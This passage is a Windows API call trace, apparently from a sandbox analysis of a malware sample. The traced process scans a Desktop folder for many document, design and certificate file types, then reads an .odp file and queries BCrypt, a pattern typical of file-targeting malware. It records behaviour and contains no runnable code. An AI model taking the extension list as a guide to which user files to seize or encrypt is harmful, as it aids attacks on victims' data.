returned 0x30 [0039.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.576] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.h", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.plist", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.backup", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.aspx", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.579] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.js", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.579] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.crt", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.582] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.csr", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.583] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.p12", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pem", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.odt", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.585] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.585] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sxw", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.585] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.585] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.stw", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.3ds", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.max", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.3dm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ods", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sxc", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.stc", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.dif", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.slk", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.wb2", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.odp", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0x1ac59c20 [0039.592] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0039.592] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0039.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.630] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp", lpFilePart=0x0) returned 0x48 [0039.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\fhnfkf-glmqjigsmplt.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x24c [0039.631] GetFileType (hFile=0x24c) returned 0x1 [0039.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.631] GetFileSize (in: hFile=0x24c, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x12ff7 [0039.633] ReadFile (in: hFile=0x24c, lpBuffer=0x28d94f8, nNumberOfBytesToRead=0x12ff7, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x28d94f8*, lpNumberOfBytesRead=0x1ae668*=0x12ff7, lpOverlapped=0x0) returned 1 [0039.635] CloseHandle (hObject=0x24c) returned 1 [0039.691] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1ae670 | out: pfEnabled=0x1ae670) returned 0x0 [0039.724] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp", lpFilePart=0x0) returned 0x48 [0039.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp" (normalized: "c:\\users\\5p5nrgjn0js 